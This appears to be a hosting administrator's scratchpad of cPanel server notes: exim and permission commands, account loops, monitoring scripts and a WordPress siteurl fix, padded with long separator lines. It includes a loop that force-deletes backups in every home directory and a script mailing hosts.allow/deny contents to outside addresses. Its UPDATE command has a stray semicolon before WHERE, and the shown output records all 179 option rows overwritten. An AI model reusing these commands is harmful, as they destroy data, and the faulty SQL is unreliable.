root@veebo [/tmp]# exim -bP | grep message_size_limit
message_size_limit = 50M
vi /etc/exim.conf
message_size_limit = 10M
/etc/init.d/exim restart
*********************************************************************************************************************
Remove cPanel update archives
/usr/local/apache.backup*
/home/cpeasyapache (actual name may vary depending on cpanel version)
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
******************************************************************************************************************************************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
******************************************************************************************************************************************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
******************************************************************************************************************************************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
******************************************************************************************************************************************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
******************************************************************************************************************************************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
******************************************************************************************************************************************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
******************************************************************************************************************************************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
*********************************************************************************************************************
My test
for user in `cat /tmp/users`
do
/scripts/restorepkg $user && echo restored package account done for $user >> finalpkgaccount.txt
done ;
for user in `cat rellerowner`
do
echo Change Directorey to $user
find /home/$user -maxdepth 2 -type d -name ".log" -exec ls -ld {} \;
done ;
pasiones
#grep "OWNER=pasiones" -r /var/cpanel/users
Exact account under the reseller account
#grep "OWNER=pasiones" -r /var/cpanel/users | cut -d : -f 1 | cut -d / -f 5
for user in `grep "OWNER=datahost" -r /var/cpanel/users | cut -d : -f 1 | cut -d / -f 5`
do
echo Upadate stat for user $user
/scripts/runweblogs $user
echo status updated for user $user >> stausupdated
done ;
Disk use test
for user in `cat check`; do du -sh $user 2> /dev/null ; done ;
for i in `cat help`; do ls -lh $i ; done ;
cat help | cut -d . -f 2 | sort | uniq -c
cat help1 | grep flv | xargs -du -h {}
cat help | grep .exe | xargs du -h {}
*********************************************************************************************************************
Mail check from shell
mail -f /var/spool/mail/conceho
mail -u username
****************************************************************************************************************
testing
for i in `cat test`; do egrep '^OWNER=|DNS=' /var/cpanel/users/$i ; echo ; done ;
for i in `cat test`; do grep $i /etc/trueuserdomains | cut -d : -f 2 | egrep '^OWNER|DNS=' /var/cpanel/users/$(xargs) 2> /tmp/err; echo ; done ;
for i in `cat test`; do grep $i /etc/trueuserdomains | cut -d : -f 2 | egrep '^OWNER|DNS=' /var/cpanel/users/$(xargs) >> /var/log/filecheck ; echo ; done ;
for user in `/bin/ls -A /var/cpanel/users` ; do rm -fv /home/$user/backup-*$user.tar.gz ; done
*****
http://www.thecpaneladmin.com/fix-account-permissions/
Change permission to default:
Why not use this ^_^
find /home/*/public_html/* -type f -exec chmod 644 {} \;
find /home/*/public_html/* -type d -exec chmod 755 {} \;
we can specify user by replace * with usename
and we can use this to make chown for all websites
for i in `ls /var/cpanel/users` ; do chown -R $i.$i /home/$i/public_html/* ; done
echo "Setting ownership for user $user"
chown -R $user:$user $HOMEDIR
chmod 711 $HOMEDIR
chown $user:nobody $HOMEDIR/public_html $HOMEDIR/.htpasswds
chown $user:mail $HOMEDIR/etc $HOMEDIR/etc/*/shadow $HOMEDIR/etc/*/passwd
chown -v xcltechn:mail etc etc/*/shadow etc/*/passwd
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Message:
The operation failed.
The mail server responded to Ricaricacel:
[TRYCREATE] Mailbox does not exist: INBOX.Sent
To create .Sent
cd /home/username/mail/domainname.com
find . -type d -name ".Sent"
find . -type d -maxdepth 1 -exec mkdir -v {}/.Sent \;
find . -type d -name ".Sent" -exec chown username.ricarica -v {} \;
tail -f /usr/local/cpanel/logs/* /usr/local/apache/logs/* /var/log/* /var/log/exim_mainlog | egrep 'bikampus|enisvoip@gmail.com'
tail -f /usr/local/cpanel/logs/*_log /usr/local/apache/logs/*_log
####################################################################################################################################################################################################################################
root@trinity [/tmp]# cat /usr/local/ddos/croncheck
#########################################################
# #
# Script to Check Crond Service on the serve #
# BY #
# APSC InfoTech & Software Solutions Pvt Ltd #
# #
# #
#########################################################
# Do not modifiy any code from here
# Checking status of crond here
STATS=$(/etc/init.d/crond status |grep running|wc -l)
if [ $STATS -eq 0 ]
then
/etc/init.d/crond restart
printf '\E[31m'"\033[1m\nCrond service was stopped on server and was restarted when you logged in,
This incident and your computer name is logged and mailed to APS Admin\n\033[0m\n\033[0m"
fi
# THE END
# Copywrite (C) 2007 APSC InfoTech & Software Solutions Pvt Ltd.
# Report bugs to <anand@apsinfotech.com>
################################################################################################################
root@trinity [/tmp]# cat /usr/local/ddos/hostchecker
#########################################################
# #
# Script to Check Hosts.allow and hosts.deny #
# BY #
# APSC InfoTech & Software Solutions Pvt Ltd #
# #
# #
#########################################################
#########################################################
# This script will mail you if hosts.deny and hosts.allow are modified
# This script will check these files are modified or not every 5 mins
# If the files are modified it will mail you specifying so with content of the files
# Cron Details: */5 * * * * path to script
# Do not modifiy any code from here
# Taking Hosting Name
SERVER=$(/bin/hostname)
# Taking values of modification
ALLOW=$(/usr/bin/find /etc/ -mmin -5 -name hosts.allow|wc -l)
DENY=$(/usr/bin/find /etc/ -mmin -5 -name hosts.deny|wc -l)
# Checking if hosts.allow was modified or not
if [ $ALLOW -eq 1 ]
then
printf "
Hello,
ATTENTION !!!!!!
The file /etc/hosts.allow was modified on Server $SERVER in last 5 mins.
The modified content of /etc/hosts.allow is now:
$(/bin/cat /etc/hosts.allow)
Thanks,
Admin
APSC Infotech & Software Solutions Pvt Ltd.
" |mail -s "ATTENTION!! - hosts.allow file modified on $SERVER" -c mrhhosting@gmail.com paypal@myresellerhome.com
fi
if [ $DENY -eq 1 ]
then
printf "
Hello,
ATTENTION !!!!!!
The file /etc/hosts.deny was modified on Server $SERVER in last 5 mins.
The modified content of /etc/hosts.deny is now:
$(/bin/cat /etc/hosts.deny)
Thanks,
Admin
APSC Infotech & Software Solutions Pvt Ltd.
" |mail -s "ATTENTION!! - hosts.deny file modified on $SERVER" -c mrhhosting@gmail.com paypal@myresellerhome.com
fi
# THE END
# Copywrite (C) 2007 APSC InfoTech & Software Solutions Pvt Ltd.
# Report bugs to <anand@apsinfotech.com>
#----------------------------------------------------------------------------------------
# This script belongs to APSC InfoTech and Software Solutions Pvt Ltd.
# This script cannot be used or modified or distrubuted without permission of APSC InfoTech.
# For any of such things done will considered as violation of company rules
# and appropriate legal action will be take
#########################################################
#########################################################
root@trinity [/tmp]# cat /usr/local/ddos/kernelup
#!/bin/bash
#Taking hostname below
HOST=$(/bin/hostname)
#upgrading Kernel
/usr/bin/yum upgrade kernel -y
# checking latest installed kernel on server
LATEST=$(/bin/rpm -q kernel |tail -n1|sed -e 's/kernel-//')
# Checking currently used or running kernel on server
CURRENT=$(/bin/uname -r)
# Checking here if latest kernel present on server and currently running kernel on server is same
if [ $LATEST == $CURRENT ]
then
echo ""
else
printf "
Hello,
Latest kernel [ $LATEST ] is installed on server $HOST.
Currently Server is running old Kernel of version [ $CURRENT ].
To set latest kernel as current kernel, server $HOST should be rebooted.
Please schedule a reboot for server $HOST soon.
Thanks,
Support Team
APSC Infotech & Software Solutions Pvt Ltd.
--------------------------------------------------------
This is output of script created by APSC InfoTech & Software Solutions Pvt Ltd for their clients.
The use of this script should be done with permission of APSC InfoTech & Software Solutions Pvt Ltd.
Copywrite (c) 2007-2010 apsinfotech.com, Report Bugs to admin@apsinfotech.com
--------------------------------------------------------
" | mail -s "New Kernel Installed on $HOST" -c mrhhosting@gmail.com paypal@myresellerhome.com
fi
# THE END
# Copywrite (c) 2007-2010 apsinfotech.com
# This script created by APSC InfoTech & Software Solutions Pvt Ltd for their clients.
# The use of this script should be done with permission of APSC InfoTech & Software Solutions Pvt Ltd.
# Copywrite (c) 2007-2010 apsinfotech.com, Report Bugs to admin@apsinfotech.com
root@trinity [/tmp]#
SiteURl check
# mysql
mysql> use DBNAME;
SELECT *
FROM `almarosa_wrdp1`.`wp_options`
WHERE (
CONVERT( `option_id`
USING utf8 ) LIKE '%siteurl%'
OR CONVERT( `blog_id`
USING utf8 ) LIKE '%siteurl%'
OR CONVERT( `option_name`
USING utf8 ) LIKE '%siteurl%'
OR CONVERT( `option_value`
USING utf8 ) LIKE '%siteurl%'
OR CONVERT( `autoload`
USING utf8 ) LIKE '%siteurl%'
)
LIMIT 0 , 30
mysql> update wp_options set option_value ='http://almarosamusic.net/v2'; where option_id = 1;
Query OK, 179 rows affected (0.00 sec)
Rows matched: 179 Changed: 179 Warnings: 0
mysql>
SELECT * FROM `almarosa_wrdp1`.`wp_options` WHERE ( CONVERT( `option_id` USING utf8 ) LIKE '%siteurl%' OR CONVERT( `blog_id` USING utf8 ) LIKE '%siteurl%' OR CONVERT( `option_name` USING utf8 ) LIKE '%siteurl%' OR CONVERT( `option_value` USING utf8 ) LIKE '%siteurl%' OR CONVERT( `autoload` USING utf8 ) LIKE '%siteurl%' ) LIMIT 0 , 30;
+-----------+---------+-------------+-----------------------------+----------+
| option_id | blog_id | option_name | option_value | autoload |
+-----------+---------+-------------+-----------------------------+----------+
| 1 | 0 | siteurl | http://almarosamusic.net/v2 | yes |
+-----------+---------+-------------+-----------------------------+----------+
1 row in set (0.00 sec)
####################################################################################################################